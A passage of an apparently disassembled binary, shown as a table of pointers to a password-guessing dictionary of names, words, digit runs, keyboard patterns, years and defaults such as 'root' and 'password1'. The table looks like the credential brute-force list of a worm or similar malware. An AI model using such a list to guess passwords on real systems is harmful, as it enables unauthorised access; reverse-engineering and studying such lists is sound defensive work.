		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_426260
		dd offset dword_42625C
		dd offset dword_426258
		dd offset dword_426254
		dd offset dword_42624C
		dd offset dword_426244
		dd offset dword_42623C
		dd offset dword_426230
		dd offset loc_41F1BB+1
		dd offset dword_42622C
		dd offset off_426228
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_42621C	; "+"
		dd offset asc_426218	; "++"
		dd offset asc_426214	; "+++"
		dd offset asc_42620C	; "++++"
		dd offset asc_426208	; "-"
		dd offset asc_426204	; "--"
		dd offset asc_426204	; "--"
		dd offset asc_4261FC	; "----"
		dd offset asc_4261F8	; "-+"
		dd offset asc_4261F0	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_4261D8	; "$"
		dd offset asc_4261D4	; "$$"
		dd offset asc_4261D0	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_41F1D0
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_41F960	; "*"
		dd offset asc_426180	; "**"
		dd offset asc_42617C	; "***"
		dd offset asc_426174	; "****"
		dd offset asc_42616C	; "*****"
		dd offset asc_426164	; "******"
		dd offset asc_42615C	; "*******"
		dd offset asc_426150	; "********"
		dd offset asc_426144	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_1		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aChi_0	; "CHI"
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota	; "toyota"
		dd offset asc_429AE0	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC		; "c"
		dd offset aCc		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD		; "d"
		dd offset aDd_0		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset aG		; "g"
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_425954	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_0		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_4258C4	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
